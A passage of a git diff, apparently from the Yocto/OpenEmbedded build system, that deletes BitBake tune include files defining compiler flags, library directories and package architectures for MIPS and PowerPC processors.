-# Soft Float
-AVAILTUNES += "mipsisa32r6-nf mipsisa32r6el-nf"
-
-TUNE_FEATURES_tune-mipsisa32r6-nf = "o32 bigendian mipsisa32r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6-nf = "mipsisa32r6-nf"
-
-TUNE_FEATURES_tune-mipsisa32r6el-nf = "o32 mipsisa32r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6el-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6el-nf = "mipsisa32r6el-nf"
diff --git a/meta/conf/machine/include/tune-mips64.inc b/meta/conf/machine/include/tune-mips64.inc
deleted file mode 100644
index 9be0e0f8d9..0000000000
--- a/meta/conf/machine/include/tune-mips64.inc
+++ /dev/null
@@ -1,3 +0,0 @@
-DEFAULTTUNE ?= "mips64"
-
-require conf/machine/include/tune-mips32r2.inc
diff --git a/meta/conf/machine/include/tune-mips64r2.inc b/meta/conf/machine/include/tune-mips64r2.inc
deleted file mode 100644
index 75d7535add..0000000000
--- a/meta/conf/machine/include/tune-mips64r2.inc
+++ /dev/null
@@ -1,84 +0,0 @@
-DEFAULTTUNE ?= "mips64r2"
-
-require conf/machine/include/tune-mips64.inc
-
-TUNEVALID[mips64r2] = "Enable mips64r2 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips64r2', ' -march=mips64r2', '', d)}"
-
-# Base tunes
-AVAILTUNES += "mips64r2 mips64r2el"
-
-TUNE_FEATURES_tune-mips64r2 = "${TUNE_FEATURES_tune-mips64} mips64r2"
-BASE_LIB_tune-mips64r2 = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2 = "mips64r2"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2 = "mips64 mips64r2"
-
-TUNE_FEATURES_tune-mips64r2el = "${TUNE_FEATURES_tune-mips64el} mips64r2"
-BASE_LIB_tune-mips64r2el = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2el = "mips64r2el"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el = "mips64el mips64r2el"
-
-# MIPS 64r2 Soft Float
-AVAILTUNES += "mips64r2-nf mips64r2el-nf"
-
-TUNE_FEATURES_tune-mips64r2-nf = "${TUNE_FEATURES_tune-mips64-nf} mips64r2"
-BASE_LIB_tune-mips64r2-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-nf = "mips64-nf mips64r2-nf"
-
-TUNE_FEATURES_tune-mips64r2el-nf = "${TUNE_FEATURES_tune-mips64el-nf} mips64r2"
-BASE_LIB_tune-mips64r2el-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-nf = "mips64el-nf mips64r2el-nf"
-
-# MIPS 64r2 n32
-AVAILTUNES += "mips64r2-n32 mips64r2el-n32"
-
-TUNE_FEATURES_tune-mips64r2-n32 = "${TUNE_FEATURES_tune-mips64-n32} mips64r2"
-BASE_LIB_tune-mips64r2-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-n32 = "mips64-n32 mips64r2-n32"
-
-TUNE_FEATURES_tune-mips64r2el-n32 = "${TUNE_FEATURES_tune-mips64el-n32} mips64r2"
-BASE_LIB_tune-mips64r2el-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-n32 = "mips64el-n32 mips64r2el-n32"
-
-# MIPS 64r2 n32 and Soft Float
-AVAILTUNES += "mips64r2-nf-n32 mips64r2el-nf-n32"
-
-TUNE_FEATURES_tune-mips64r2-nf-n32 = "${TUNE_FEATURES_tune-mips64-nf-n32} mips64r2"
-BASE_LIB_tune-mips64r2-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-nf-n32 = "mips64-nf-n32 mips64r2-nf-n32"
-
-TUNE_FEATURES_tune-mips64r2el-nf-n32 = "${TUNE_FEATURES_tune-mips64el-nf-n32} mips64r2"
-BASE_LIB_tune-mips64r2el-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-nf-n32 = "mips64el-nf-n32 mips64r2el-nf-n32"
-
-# MIPS 64r2 o32
-AVAILTUNES += "mips64r2-o32 mips64r2el-o32"
-
-TUNE_FEATURES_tune-mips64r2-o32 = "${TUNE_FEATURES_tune-mips64-o32} mips64r2"
-BASE_LIB_tune-mips64r2-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-o32 = "mips mips64-o32 mips64r2-o32"
-
-TUNE_FEATURES_tune-mips64r2el-o32 = "${TUNE_FEATURES_tune-mips64el-o32} mips64r2"
-BASE_LIB_tune-mips64r2el-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-o32 = "mipsel mips64el-o32 mips64r2el-o32"
-
-# MIPS 64r2 o32 and Soft Float
-AVAILTUNES += "mips64r2-nf-o32 mips64r2el-nf-o32"
-
-TUNE_FEATURES_tune-mips64r2-nf-o32 = "${TUNE_FEATURES_tune-mips64-nf-o32} mips64r2"
-BASE_LIB_tune-mips64r2-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-nf-o32 = "mips-nf mips64r2-nf-o32"
-
-TUNE_FEATURES_tune-mips64r2el-nf-o32 = "${TUNE_FEATURES_tune-mips64el-nf-o32} mips64r2"
-BASE_LIB_tune-mips64r2el-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-nf-o32 = "mipsel-nf mips64r2el-nf-o32"
diff --git a/meta/conf/machine/include/tune-mips64r6.inc b/meta/conf/machine/include/tune-mips64r6.inc
deleted file mode 100644
index 4fe3eedf1b..0000000000
--- a/meta/conf/machine/include/tune-mips64r6.inc
+++ /dev/null
@@ -1,58 +0,0 @@
-DEFAULTTUNE ?= "mipsisa64r6el"
-
-require conf/machine/include/mips/arch-mips.inc
-
-TUNEVALID[mipsisa64r6] = "Enable mipsisa64r6 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', ' -march=mips64r6', '', d)}"
-
-# Base Tunes
-AVAILTUNES += "mipsisa64r6 mipsisa64r6el"
-
-TUNE_FEATURES_tune-mipsisa64r6 = "bigendian fpu-hard n64 mipsisa64r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6 = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6 = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6 = "mipsisa64r6"
-
-TUNE_FEATURES_tune-mipsisa64r6el = "fpu-hard r6 n64 mipsisa64r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6el = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el = "mipsisa64r6el"
-
-# Soft Float
-AVAILTUNES += "mipsisa64r6-nf mipsisa64r6el-nf"
-
-TUNE_FEATURES_tune-mipsisa64r6-nf = "bigendian r6 n64 mipsisa64r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6-nf = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6-nf = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6-nf = "mipsisa64r6"
-
-TUNE_FEATURES_tune-mipsisa64r6el-nf = "r6 n64 mipsisa64r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el-nf = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6el-nf = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el-nf = "mipsisa64r6el-nf"
-
-# MIPS 64r6 n32
-AVAILTUNES += "mipsisa64r6-n32 mipsisa64r6el-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6-n32 = "bigendian fpu-hard r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6-n32 = "mipsisa64r6-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6el-n32 = "fpu-hard r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6el-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el-n32 = "mipsisa64r6el-n32"
-
-# MIPS 64r6 n32 and Soft Float
-AVAILTUNES += "mipsisa64r6-nf-n32 mipsisa64r6el-nf-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6-nf-n32 = "bigendian r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6-nf-n32 = "mipsisa64r6-nf-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6el-nf-n32 = "r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6el-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el-nf-n32 = "mipsisa64r6el-nf-n32"
diff --git a/meta/conf/machine/include/tune-octeon.inc b/meta/conf/machine/include/tune-octeon.inc
deleted file mode 100644
index b5deb8fd88..0000000000
--- a/meta/conf/machine/include/tune-octeon.inc
+++ /dev/null
@@ -1,32 +0,0 @@
-DEFAULTTUNE ?="octeon2"
-
-require conf/machine/include/tune-mips64.inc
-
-AVAILTUNES += "octeon2 octeon2_64 octeon3 octeon3_64"
-
-TUNEVALID[octeon2] = "Enable optimization related to octeon2 support"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon2', ' -march=octeon2 ', '',d)}"
-
-TUNE_FEATURES_tune-octeon2 = "${TUNE_FEATURES_tune-mips64-n32} octeon2"
-BASE_LIB_tune-octeon2 = "lib32"
-MIPSPKGSFX_VARIANT_tune-octeon2 = "octeon2"
-PACKAGE_EXTRA_ARCHS_tune-octeon2 = "mips64-n32 octeon2-n32"
-
-TUNE_FEATURES_tune-octeon2_64 = "${TUNE_FEATURES_tune-mips64} octeon2"
-BASE_LIB_tune-octeon2_64 = "lib64"
-MIPSPKGSFX_VARIANT_tune-octeon2_64 = "octeon2_64"
-PACKAGE_EXTRA_ARCHS_tune-octeon2_64 = "mips64 octeon2_64"
-
-
-TUNEVALID[octeon3] = "Enable optimization related to octeon3 support"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon3', ' -march=octeon3 ', '',d)}"
-
-TUNE_FEATURES_tune-octeon3 = "${TUNE_FEATURES_tune-mips64-n32} octeon3"
-BASE_LIB_tune-octeon3 = "lib32"
-MIPSPKGSFX_VARIANT_tune-octeon3 = "octeon3"
-PACKAGE_EXTRA_ARCHS_tune-octeon3 = "mips64-n32 octeon3-n32"
-
-TUNE_FEATURES_tune-octeon3_64 = "${TUNE_FEATURES_tune-mips64} octeon3"
-BASE_LIB_tune-octeon3_64 = "lib64"
-MIPSPKGSFX_VARIANT_tune-octeon3_64 = "octeon3_64"
-PACKAGE_EXTRA_ARCHS_tune-octeon3_64 = "mips64 octeon3_64"
diff --git a/meta/conf/machine/include/tune-power5.inc b/meta/conf/machine/include/tune-power5.inc
deleted file mode 100644
index 48c33fb273..0000000000
--- a/meta/conf/machine/include/tune-power5.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppcp5"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power5] = "Enable IBM Power5 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' -mcpu=power5', '', d)}"
-
-AVAILTUNES += "ppcp5 ppc64p5"
-TUNE_FEATURES_tune-ppcp5 = "m32 fpu-hard power5 altivec bigendian"
-BASE_LIB_tune-ppcp5 = "lib"
-TUNE_PKGARCH_tune-ppcp5 = "ppcp5"
-PACKAGE_EXTRA_ARCHS_tune-ppcp5 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp5"
-
-TUNE_FEATURES_tune-ppc64p5 = "m64 fpu-hard power5 altivec bigendian"
-BASE_LIB_tune-ppc64p5 = "lib64"
-TUNE_PKGARCH_tune-ppc64p5 = "ppc64p5"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p5 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p5"
-
-# glibc configure options to get power5 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-power6.inc b/meta/conf/machine/include/tune-power6.inc
deleted file mode 100644
index b708660217..0000000000
--- a/meta/conf/machine/include/tune-power6.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppcp6"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power6] = "Enable IBM Power6 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' -mcpu=power6', '', d)}"
-
-AVAILTUNES += "ppcp6 ppc64p6"
-TUNE_FEATURES_tune-ppcp6 = "m32 fpu-hard power6 altivec bigendian"
-BASE_LIB_tune-ppcp6 = "lib"
-TUNE_PKGARCH_tune-ppcp6 = "ppcp6"
-PACKAGE_EXTRA_ARCHS_tune-ppcp6 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp6"
-
-TUNE_FEATURES_tune-ppc64p6 = "m64 fpu-hard power6 altivec bigendian"
-BASE_LIB_tune-ppc64p6 = "lib64"
-TUNE_PKGARCH_tune-ppc64p6 = "ppc64p6"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p6 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p6"
-
-# glibc configure options to get power6 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-power7.inc b/meta/conf/machine/include/tune-power7.inc
deleted file mode 100644
index e976cc0467..0000000000
--- a/meta/conf/machine/include/tune-power7.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppcp7"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power7] = "Enable IBM Power7 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' -mcpu=power7', '', d)}"
-
-AVAILTUNES += "ppcp7 ppc64p7"
-TUNE_FEATURES_tune-ppcp7 = "m32 fpu-hard power7 altivec bigendian"
-BASE_LIB_tune-ppcp7 = "lib"
-TUNE_PKGARCH_tune-ppcp7 = "ppcp7"
-PACKAGE_EXTRA_ARCHS_tune-ppcp7 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp7"
-
-TUNE_FEATURES_tune-ppc64p7 = "m64 fpu-hard power7 altivec bigendian"
-BASE_LIB_tune-ppc64p7 = "lib64"
-TUNE_PKGARCH_tune-ppc64p7 = "ppc64p7"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p7 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p7"
-
-# glibc configure options to get power7 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-power9.inc b/meta/conf/machine/include/tune-power9.inc
deleted file mode 100644
index 81d6e8e9bf..0000000000
--- a/meta/conf/machine/include/tune-power9.inc
+++ /dev/null
@@ -1,35 +0,0 @@
-DEFAULTTUNE ?= "ppc64p9le"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power9] = "Enable IBM Power9 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power9', ' -mcpu=power9', '', d)}"
-
-AVAILTUNES += "ppcp9 ppc64p9 ppcp9le ppc64p9le"
-
-TUNE_FEATURES_tune-ppcp9 = "m32 fpu-hard power9 altivec bigendian"
-BASE_LIB_tune-ppcp9 = "lib"
-TUNE_PKGARCH_tune-ppcp9 = "ppcp9"
-PACKAGE_EXTRA_ARCHS_tune-ppcp9 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp9"
-
-TUNE_FEATURES_tune-ppc64p9 = "m64 fpu-hard power9 altivec bigendian"
-BASE_LIB_tune-ppc64p9 = "lib64"
-TUNE_PKGARCH_tune-ppc64p9 = "ppc64p9"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p9 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p9"
-
-TUNE_FEATURES_tune-ppcp9le = "m32 fpu-hard power9 altivec"
-BASE_LIB_tune-ppcp9le = "lib"
-TUNE_PKGARCH_tune-ppcp9le = "ppcp9le"
-PACKAGE_EXTRA_ARCHS_tune-ppcp9le = "${PACKAGE_EXTRA_ARCHS_tune-powerpcle} ppcp9le"
-
-TUNE_FEATURES_tune-ppc64p9le = "m64 fpu-hard power9 altivec"
-BASE_LIB_tune-ppc64p9le = "lib64"
-TUNE_PKGARCH_tune-ppc64p9le = "ppc64p9le"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p9le = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64le} ppc64p9le"
-
-# glibc configure options to get power9 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power9', '--with-cpu=power9', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power9', '--with-cpu=power9', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power9', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppc476.inc b/meta/conf/machine/include/tune-ppc476.inc
deleted file mode 100644
index 31eecc435c..0000000000
--- a/meta/conf/machine/include/tune-ppc476.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "ppc476"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppc476] = "Enable ppc476 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', ' -mcpu=476', '', d)}"
-
-AVAILTUNES += "ppc476"
-TUNE_FEATURES_tune-ppc476 = "m32 fpu-hard ppc476 bigendian"
-TUNE_PKGARCH_tune-ppc476 = "ppc476"
-PACKAGE_EXTRA_ARCHS_tune-ppc476 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppc476"
-
-# glibc configure options to get 476 specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', '-with-cpu=476', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppc603e.inc b/meta/conf/machine/include/tune-ppc603e.inc
deleted file mode 100644
index b110f13870..0000000000
--- a/meta/conf/machine/include/tune-ppc603e.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "ppc603e"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppc603e] = "Enable ppc603e specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', ' -mcpu=603e', '', d)}"
-
-AVAILTUNES += "ppc603e"
-TUNE_FEATURES_tune-ppc603e = "m32 fpu-hard ppc603e bigendian"
-TUNE_PKGARCH_tune-ppc603e = "ppc603e"
-PACKAGE_EXTRA_ARCHS_tune-ppc603e = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppc603e"
-
-# glibc configure options to get 603e specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', '-with-cpu=603e', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppc7400.inc b/meta/conf/machine/include/tune-ppc7400.inc
deleted file mode 100644
index 92d902994b..0000000000
--- a/meta/conf/machine/include/tune-ppc7400.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "ppc7400"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppc7400] = "Enable ppc7400 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', ' -mcpu=7400 -mno-spe', '', d)}"
-
-AVAILTUNES += "ppc7400"
-TUNE_FEATURES_tune-ppc7400 = "m32 fpu-hard ppc7400 altivec bigendian"
-TUNE_PKGARCH_tune-ppc7400 = "ppc7400"
-PACKAGE_EXTRA_ARCHS_tune-ppc7400 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppc7400"
-
-# glibc configure options to get 7400 specific library (for sqrt)
-#GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', '--with-cpu=power4', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppce300c2.inc b/meta/conf/machine/include/tune-ppce300c2.inc
deleted file mode 100644
index 6adeb4bdec..0000000000
--- a/meta/conf/machine/include/tune-ppce300c2.inc
+++ /dev/null
@@ -1,11 +0,0 @@
-DEFAULTTUNE ?= "ppce300c2"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppce300c2] = "Enable ppce300c2 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c2', ' -mcpu=e300c2', '', d)}"
-
-AVAILTUNES += "ppce300c2"
-TUNE_FEATURES_tune-ppce300c2 = "m32 fpu-soft ppce300c2 bigendian"
-TUNE_PKGARCH_tune-ppce300c2 = "ppce300c2"
-PACKAGE_EXTRA_ARCHS_tune-ppce300c2 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc-nf} ppce300c2"
diff --git a/meta/conf/machine/include/tune-ppce300c3.inc b/meta/conf/machine/include/tune-ppce300c3.inc
deleted file mode 100644
index a3d836c50c..0000000000
--- a/meta/conf/machine/include/tune-ppce300c3.inc
+++ /dev/null
@@ -1,23 +0,0 @@
-DEFAULTTUNE ?= "ppce300c3"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-AVAILTUNES += "ppce300c3 ppce300c3-nf"
-
-# hard-float
-TUNEVALID[ppce300c3] = "Enable ppce300c3 specific processor optimizations"
-TUNE_FEATURES_tune-ppce300c3 = "${TUNE_FEATURES_tune-powerpc} ppce300c3"
-TUNE_PKGARCH_tune-ppce300c3 = "ppce300c3"
-PACKAGE_EXTRA_ARCHS_tune-ppce300c3 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce300c3"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', ' -mcpu=e300c3', '', d)}"
-
-# glibc config options to make use of e300c3 (603e) specific sqrt/sqrtf routines
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', '--with-cpu=e300c3', '', d)}"
-
-# soft-float
-TUNEVALID[ppce300c3-nf] = "Enable ppce300c3 specific processor optimizations (no fpu)"
-TUNE_FEATURES_tune-ppce300c3-nf = "${TUNE_FEATURES_tune-powerpc-nf} ppce300c3-nf"
-TUNE_PKGARCH_tune-ppce300c3-nf = "ppce300c3-nf"
-PACKAGE_EXTRA_ARCHS_tune-ppce300c3-nf = "${PACKAGE_EXTRA_ARCHS_tune-powerpc-nf} ppce300c3-nf"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3-nf', ' -mcpu=e300c3', '', d)}"
-
diff --git a/meta/conf/machine/include/tune-ppce500mc.inc b/meta/conf/machine/include/tune-ppce500mc.inc
deleted file mode 100644
index 9f8a172804..0000000000
--- a/meta/conf/machine/include/tune-ppce500mc.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "ppce500mc"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppce500mc] = "Enable ppce500mc specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce500mc', ' -mcpu=e500mc', '', d)}"
-
-AVAILTUNES += "ppce500mc"
-TUNE_FEATURES_tune-ppce500mc = "m32 fpu-hard ppce500mc bigendian"
-TUNE_PKGARCH_tune-ppce500mc = "ppce500mc"
-PACKAGE_EXTRA_ARCHS_tune-ppce500mc = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce500mc"
-
-# glibc configure options to get e500mc specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppce500mc', '-with-cpu=e500mc', '', d)}"
-
-# pass -mcpu=e500mc for ppce500mc kernel cross compile
-TARGET_CC_KERNEL_ARCH = "-mcpu=e500mc"
diff --git a/meta/conf/machine/include/tune-ppce5500.inc b/meta/conf/machine/include/tune-ppce5500.inc
deleted file mode 100644
index acc6a50fca..0000000000
--- a/meta/conf/machine/include/tune-ppce5500.inc
+++ /dev/null
@@ -1,23 +0,0 @@
-DEFAULTTUNE ?= "ppce5500"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[e5500] = "Enable Freescale e5500 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' -mcpu=e5500', '', d)}"
-
-AVAILTUNES += "ppce5500 ppc64e5500"
-TUNE_FEATURES_tune-ppce5500 = "m32 fpu-hard e5500 bigendian"
-BASE_LIB_tune-ppce5500 = "lib"
-TUNE_PKGARCH_tune-ppce5500 = "ppce5500"
-PACKAGE_EXTRA_ARCHS_tune-ppce5500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce5500"
-
-TUNE_FEATURES_tune-ppc64e5500 = "m64 fpu-hard e5500 bigendian"
-BASE_LIB_tune-ppc64e5500 = "lib64"
-TUNE_PKGARCH_tune-ppc64e5500 = "ppc64e5500"
-PACKAGE_EXTRA_ARCHS_tune-ppc64e5500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64e5500"
-
-# glibc configure options to get e5500 specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'e5500', '--with-cpu=e5500', '', d)}"
-
-# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppce6500.inc b/meta/conf/machine/include/tune-ppce6500.inc
deleted file mode 100644
index d12d218d06..0000000000
--- a/meta/conf/machine/include/tune-ppce6500.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppce6500"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[e6500] = "Enable Freescale e6500 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' -mcpu=e6500', '', d)}"
-
-AVAILTUNES += "ppce6500 ppc64e6500"
-TUNE_FEATURES_tune-ppce6500 = "m32 fpu-hard e6500 altivec bigendian"
-BASE_LIB_tune-ppce6500 = "lib"
-TUNE_PKGARCH_tune-ppce6500 = "ppce6500"
